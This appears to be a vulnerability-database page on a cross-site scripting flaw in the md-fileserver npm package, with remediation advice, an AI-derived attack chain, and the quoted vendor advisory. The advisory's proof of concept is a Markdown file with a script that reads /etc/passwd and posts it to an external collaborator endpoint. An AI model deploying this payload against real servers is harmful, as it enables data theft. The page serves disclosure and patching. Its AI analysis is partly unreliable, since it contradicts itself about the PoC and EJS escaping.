Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify md-fileserver instance serving Markdown
-
DeliveryPlace malicious .md with <script> payload in served directory
-
ExploitVictim opens file in browser
-
ExecutionMarkdown-it renders raw HTML unsanitized
-
PersistInjected JavaScript executes in origin context
-
ImpactExfiltrate cookies/tokens/local data to attacker endpoint
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization HTML tag escaping
MITRE ATT&CK
1 technique across 1 tactic: Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that (1) an attacker can place or supply a Markdown (.md) file that the md-fileserver instance will render - either through a writable served directory, a multi-user setup, or social engineering a victim to open an attacker-controlled file - and (2) a victim subsequently views or previews that Markdown file in a browser via the md-fileserver web interface. No authentication is required to trigger the rendering (CVSS PR:N, UI:N for the rendering itself), but the realistic limiting factor is the deployment model: md-fileserver is often run locally or on trusted networks for personal/team file viewing, so reachability and the ability to introduce a malicious file into the served path are the gating prerequisites. Versions prior to 1.10.3 with the default markdownIt html:true configuration are vulnerable; the fix in 1.10.3 disables raw HTML rendering. |
| Impact | The CVSS 3.1 base score is 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N), reflecting network-reachable, low-complexity, unauthenticated exploitation with a scope change because script executes in the victim browser's security context rather than the server's. However, the practical impact ratings are Low/Low/None, consistent with typical stored-XSS consequences (session/data theft within the user's session) rather than full RCE. EPSS data and CISA KEV status were not provided in the input, so widespread or targeted exploitation cannot be confirmed; the vulnerability has a working PoC published in the GHSA advisory but is not listed as actively exploited. Risk is highest for deployments that allow untrusted users to upload Markdown files or where Markdown content is rendered in a multi-user, authenticated context - for a single-user local file server the real-world risk is meaningfully lower than the 7.2 score suggests. |
| Exploit ScenarioDerived | An attacker with the ability to place a Markdown file on the server (via upload, shared volume, or by tricking a user into opening an attacker-supplied .md) crafts a file containing a <script> tag or event handler such as <img src=x onerror=...>. When a victim views the file through the md-fileserver web UI, the JavaScript executes in the origin's context and can exfiltrate session cookies, CSRF tokens, or local resources accessible via fetch() to an attacker-controlled endpoint - the vendor PoC demonstrates exactly this by fetching /etc/passwd and POSTing it to a Burp Collaborator URL. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 21, 2026
Stored/reflected cross-site scripting in the md-fileserver npm package (versions prior to 1.10.3) allows remote unauthenticated attackers to execute arbitrary JavaScript in a viewer's browser by uploading or supplying Markdown files containing raw HTML or script tags. The vulnerability stems from markdown-it being configured with html:true and rendered output being injected into the template without sanitization or output encoding. No public exploit identified at time of analysis beyond the vendor-provided PoC, and the issue is not currently listed in CISA KEV.
RemediationAI
Vendor-released patch: upgrade md-fileserver to 1.10.3 or later via npm (npm install md-fileserver@^1.10.3 or update package.json and lockfile). See the advisory at https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv for confirmation. If immediate upgrade is not possible, compensating controls include patching config.js to set markdownIt: { html: false } (this disables raw HTML in Markdown - side effect: any legitimate inline HTML in existing Markdown files will be escaped and rendered as text rather than HTML), inserting a sanitization step in lib/markd.js using DOMPurify or sanitize-html on the rendered output before templating, restricting network access to the service to trusted users only (e.g., bind to localhost or place behind authenticated reverse proxy), and adding a strict Content-Security-Policy response header that forbids inline scripts (script-src 'self' with no 'unsafe-inline') - note that CSP will also block any legitimate inline scripts used by the application itself.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
md-fileserver is a Node.js/npm-published HTTP file server that renders Markdown files for browser viewing. The root cause is CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page / Basic XSS): config.js initializes markdown-it with the html:true option (lines 26-30), which intentionally permits raw HTML passthrough; lib/markd.js (lines 33-58) renders Markdown without invoking a sanitizer such as DOMPurify or sanitize-html; and lib/pages/template.html injects the result with the unescaped EJS construct <%= markdown %> rather than the escaping <%- ... %> form (note: in EJS <%= is actually escaping while <%- is unescaped, so the advisory's reference to <%= markdown %> being unsanitized indicates the rendered HTML string is treated as trusted). The affected package is identified by CPE pkg:npm/md-fileserver.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionNVD
Summary
A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML-including <script> tags-is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.
Details
An attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.
Vulnerable Components
config.js → markdownIt: { html: true } (Lines 26-30) The Markdown renderer is explicitly configured to allow raw HTML.
lib/markd.js (Lines 33-58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.
lib/pages/template.html The rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.
PoC
Create a pwn.md
# Hello
<script>
fetch('/etc/passwd', { credentials: 'include' })
.then(r => r.text())
.then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));
</script>
Open it on browser. <img width="944" height="238" alt="image" src="https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac" /> View the HTTP request in Burp Collaborator. <img width="1328" height="468" alt="image" src="https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8" />
Impact
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:
- Session hijacking
- Account takeover
- Credential theft
- Defacement or injection of malicious content
- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information
This affects all users who can view Markdown content within the application.
Executive ViewAI
The md-fileserver npm package contains a code injection vulnerability that enables attackers to execute malicious code in users' browsers when they view or upload Markdown files. Organizations using this library to store or serve Markdown content face direct risk of user account compromise, data theft, and potential malware distribution across their user base. Immediate identification and upgrade of affected systems to version 1.10.3 or later is required to eliminate this exposure.
Apply vendor patch: upgrade md-fileserver to version 1.10.3 or later. Code injection vulnerabilities of this type cannot be adequately mitigated without patching; upgrading is mandatory and urgent.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
EUVD-2026-35496
GHSA-32q2-hhr5-6qvv
NVD
CVE.org
EPSS
VulDB
Exploit-DB